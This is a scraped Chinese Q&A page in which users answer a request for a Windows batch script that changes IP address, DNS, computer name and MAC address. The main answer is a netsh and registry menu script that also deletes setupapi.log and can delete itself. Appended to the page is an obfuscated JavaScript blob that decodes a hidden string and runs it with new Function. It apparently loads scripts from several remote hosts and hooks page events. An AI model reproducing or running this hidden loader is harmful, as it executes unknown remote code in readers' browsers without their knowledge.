求一批处理修改IP地址和计算机名

2025-03-12 02:28:04
推荐回答(5个)
回答1:

如XP系统将以下代码另存为mach.bat 可满足你的要求(IP 计算机名称都可以任意填写或自动更改)
不过MAC设置 需要参考个人机器注册表网卡ID键值所以MAC设置以下代码并不通用 需要视情况改动 代码行上有说明视情况做更改
如使用IPV4或IPV6协议的需略微改下NETSH加载项接口名称 IP--IPV4或IPV6

@echo off
mode con cols=80 lines=27&color 1f
:start
rem eth //eth 为网卡名称,可在网络连接中查询,如"本地链接"
set eth="本地连接"
rem //设置菜单
echo 1 手动设置IP
echo 2 自动设置IP
echo 3 动态设置IP
echo 4 查看本机IP状况
echo 5 更改计算机名
echo 6 更改MAC
echo 7 退出
echo 8 重启
echo 9 DNS查询
set /p answer=请按数字选择:
if %answer%==1 goto 1
if %answer%==2 goto 2
if %answer%==3 goto 3
if %answer%==4 goto 4
if %answer%==5 goto 5
if %answer%==6 goto 6
if %answer%==7 goto 7
if %answer%==8 goto 8
if %answer%==9 goto 9dns
cls
echo --------------------------------
if "%answer%"=="%answer%" echo 输入错误,请重新输入正确数字选项
echo --------------------------------
goto :start
:1
echo 请输入IP 例如:192.168.1.XXX
set /p A=IP:
echo %A%|findstr "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$">nul||goto fail
set _A=%A:.= %
call :check %_A%
:check
if "%4"=="" goto fail
for %%i in (%1 %2 %3 %4) do (
if %%i gtr 255 goto fail
)
goto A1
:fail
cls
echo 格式错误,请重新输入
echo.
goto :1
:A1
echo 正在检查网络. . .
echo.
for /f "tokens=1 delims= " %%i in ('arp -a^|find " "') do set gw=%%i
if %gw%==No goto A2
echo 网关的地址为%gw%
echo.
goto 1b
:A2
echo 无网络数据
echo.
:1b
echo 请输入网关 例如:192.168.1.1
set /p B=网关:
echo %B%|findstr "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$">nul||goto fail
set _B=%B:.= %
call :check %_B%
:check
if "%4"=="" goto fail
for %%i in (%1 %2 %3 %4) do (
if %%i gtr 255 goto fail
)
goto 1c
:fail
echo 格式错误,请重新输入
echo.
goto :1b
:1c
echo.
echo 请输入DNS 请正确输入本省DNS如不清楚请查询
set /p C=DNS:
echo %C%|findstr "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$">nul||goto fail
set _C=%C:.= %
call :check %_C%
:check
if "%4"=="" goto fail
for %%i in (%1 %2 %3 %4) do (
if %%i gtr 255 goto fail
)
goto 1d
:fail
echo 格式错误,请重新输入
echo.
goto :1c
:1d
rem ip //ip 为你想更改的IP
set ip=%A%
rem gateway //gateway 为网关地址
set gateway=%B%
rem netmasks //netmasks 为子网掩码
set netmasks=255.255.255.0
rem dns //dns 为首选DNS
set dns=%C%
echo 正在将本机IP更改到: %ip% 请等候...
rem
if %gateway%==none netsh interface ip set address %eth% static %ip% %netmasks% %gateway% > nul
if not %gateway%==none netsh interface ip set address %eth% static %ip% %netmasks% %gateway% 1 > nul
if %dns%==none netsh interface ip set dns %eth% static %dns%> nul
if not %dns%==none netsh interface ip set dns %eth% static %dns%> nul
echo...................
echo 检查更改后本机IP:
echo...................
ipconfig /ALL
echo 成功将本机IP更改为%ip%!
pause>nul
CLS
goto :start
:2
echo 正在进行本地IP设置,请稍等...
rem //以下设置可以根据需要更改 依次为IP 掩码 网关 首选DNS 备选DNS
netsh interface ip set address %eth% static 192.168.1.24 255.255.255.0 192.168.1.1 1
netsh interface ip set DNS %eth% static 61.139.2.69
netsh interface ip add dns %eth% 202.98.96.68 index=2
if exist %SystemRoot%\setupapi.log del /q %SystemRoot%\setupapi.log
echo ----
echo 全部设置完成!
pause>nul
goto :start
:3
echo 正在进行动态IP设置,请稍等...
echo. IP 地址正在从DHCP自动获取...
netsh interface ip set address %eth% dhcp
echo. DNS地址正在从DHCP自动获取...
netsh interface ip set dns %eth% dhcp
echo ----
echo 全部设置完成!
pause
goto :start
:4
echo 检查%eth%状况
ipconfig /all
pause>nul
goto :start
:5
echo 输入计算机名:
set /p Name=

for /l %%i in (3,-1,0) do ping -n 2 127.0.0.%%i>nul && @echo. %%i s 后修改机器名……

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam" /v @ /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Eventlog" /v "ComputerName" /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "NV Hostname" /t REG_SZ /d "%Name%" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "Hostname" /t REG_SZ /d "%Name%" /f
echo 刷新注册表. . .
if exist c:\winnt (secedit /refreshpolicy machine_policy /enforce) else (gpupdate /force)
PAUSE
GOTO :start
:6
for /f "tokens=12 delims= " %%i in ('ipconfig/all^|find "Physical Address"') do set localmac=%%i
echo 当前MAC地址:%localmac%
:6v
echo ----------------------------
echo 输入MAC格式:11-22-33-44-55-66
echo.
echo.
set /p macx=输入MAC地址:
::----------------------------以下为判断MAC地址格式正误代码
echo %macx%|findstr "^[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]$">nul||goto fail
echo.
goto 6x
:fail
cls
echo %macx% 错误的mac请重新输入
echo.
goto :6v
:6x
::-----------------------------以下为将11-22-33-44-55-66格式转换为注册表要求格112233445566值赋予mac
set mac=%macx:-=%
::------------------------------
goto 6r

::这段代码无效---------------------------------------------------------------------------------无效
goto :6a
:6a
echo -------------------------
set /p mac=输入MAC:
call :stringlenth "%mac%" num ::判断数据长度
:6a1
if "%num%"=="17" goto :6r
echo 长度不符合要求,请重新输入
goto 6a
:StringLenth ::判断数据长度计算子程序
set theString=%~1
if not defined theString goto :6a1
set Return=0
:StringLenth_continue
set /a Return+=1
set thestring=%thestring:~0,-1%
if defined thestring goto StringLenth_continue
if not "%2"=="" set %2=%Return%
goto :6a1
::-----------------------------------------------------------------------------------------------无效

:6r
for /l %%i in (5,-1,0) do ping -n 2 127.0.0.%%i>nul && @echo. %%i s 后修改MAC……
::下面那个0009项是本人网卡ID所在项并不通用;不同机器对应项目不尽相同需要翻查注册表从0000 0001..这些项目下查一一看DriverDesc的键值是否对应的是正在使用网卡的名称然后做更改
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0009" /v "NetworkAddress" /t REG_SZ /d "%mac%" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0009\Ndi\Params\NetworkAddress" /v "Default" /t REG_SZ /d "%mac%" /f
echo 刷新注册表. . .
if exist c:\winnt (secedit /refreshpolicy machine_policy /enforce) else (gpupdate /force)
PAUSE
GOTO :start
:7
echo bye!
goto end
:8
echo 请输入ok确认重启,输入yes重启并且删除本批处理文件
set /p f=
if %f%==ok goto :9
if %f%==yes goto :10
cls
echo -------------------
if "%f%"=="%f%" echo 输入错误返回主菜单
echo -------------------
goto :start

:9
for /l %%i in (5,-1,0) do ping -n 2 127.0.0.%%i>nul && @echo. %%i s 后重启电脑……
setlocal
cd/d %temp%
echo [version] > reboot.inf
set inf=InstallHinfSection DefaultInstall
echo signature=$chicago$ >> reboot.inf
echo [defaultinstall] >> reboot.inf
rundll32 setupapi,%inf% 1 %temp%\reboot.inf
del reboot.inf
EXIT
:10
shutdown -r -t 5
del reboot.inf
del .\mach.bat
EXIT

:9dns
goto dnstest
:dnsress
set n=*
CLS
echo 输入查询省份的拼音字母缩写 如:内蒙古NMG(无大小写区分), 如有相同缩写请打全拼音
echo.
set /p sheng=请输入:
echo %sheng%|findstr/i "^[A-Z]*$">nul||goto fail
type DNSTEST.txt|findstr/i "\<%sheng%\>"||goto fail

echo.
:eu
echo.
set jxb=
set /p jxb=是否继续?(输入y继续,回车返回):
echo.
echo %jxb%|findstr/i "^[Y]$">nul||goto deltest
goto dnsress
:deltest
del .\DNSTEST.txt
goto start
:fail
echo.
echo 输入有误
pause>nul

goto dnstest

:dnstest
::-----:以下为电信接入的DNS 其它的可自己按格式更新或添加
echo GD 广东 202.96.128.143 >>DNSTEST.txt
echo SZ 深圳 202.96.134.133 >>DNSTEST.txt
echo SC 四川 61.139.2.69 >>DNSTEST.txt
echo GX 广西 202.96.128.68 >>DNSTEST.txt
echo HENAN 河南 202.102.227.68 >>DNSTEST.txt
echo FJ 福建 218.85.157.99 >>DNSTEST.txt
echo SHANXI 陕西 202.100.13.11 >>DNSTEST.txt
echo XM 厦门 202.101.103.55 >>DNSTEST.txt
echo HUNAN 湖南 202.103.0.68 >>DNSTEST.txt
echo JS 江苏 202.102.15.162 >>DNSTEST.txt
echo HB 湖北 202.103.0.68 >>DNSTEST.txt
echo SD 山东 202.102.154.3 >>DNSTEST.txt
echo ZJ 浙江 202.96.102.3 >>DNSTEST.txt
echo LN 辽宁 202.98.0.68 >>DNSTEST.txt
echo AH 安徽 202.102.192.68 >>DNSTEST.txt
echo HB 河北 202.99.160.68 >>DNSTEST.txt
echo JL 吉林 202.98.5.68 >>DNSTEST.txt
echo JX 江西 202.101.224.68 >>DNSTEST.txt
echo XJ 新疆 61.128.99.133 >>DNSTEST.txt
echo GZ 贵州 202.98.192.68 >>DNSTEST.txt
echo YN 云南 202.98.96.68 >>DNSTEST.txt
echo HLJ 黑龙江 202.97.229.133 >>DNSTEST.txt
echo NMG 内蒙古 202.99.224.68 >>DNSTEST.txt
echo QH 青海 202.100.128.68 >>DNSTEST.txt
echo XZ 西藏 219.151.32.66 >>DNSTEST.txt
echo HAINAN 海南 202.100.192.68 >>DNSTEST.txt
echo NX 宁夏 202.100.0.68 >>DNSTEST.txt
echo GS 甘肃 202.100.72.13 >>DNSTEST.txt
echo SX 山西 202.99.192.68 >>DNSTEST.txt
echo BJ 北京 202.96.199.133 >>DNSTEST.txt
echo SH 上海 202.96.199.132 >>DNSTEST.txt
echo TJ 天津 202.99.96.68 >>DNSTEST.txt
echo CQ 重庆 61.128.128.68 >>DNSTEST.txt
echo XG 香港 205.252.144.228 >>DNSTEST.txt
echo AM 澳门 202.175.3.8 >>DNSTEST.txt
goto dnsress

回答2:

开代理吧..到网上找免费代理IP.那的都有..
如果是ADSL(宽带连接上网)可以把网断了.再连IP就变了.
ADSL.是连一次网.IP自动换一次..动态IP..

回答3:

@echo off
netsh int ip set add 本地连接 static 192.168.88.8 255.255.255.0 192.168.88.1 1
netsh int ip set dns 本地连接 static 219.150.32.132
netsh int ip add dns 本地连接 219.146.0.130

写不下去了,5分。。。在长点?。。。涨得越高,写的越多~~ — —

回答4:

这个好像没有,因为在配置过程中,一般会采用在一台PC机上,通过软件自动分配给局域网中机器静态IP,这种方法是现在最常用的,你可以试试》

回答5:

你要是行不通可以 换一块以太网卡 试试看

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();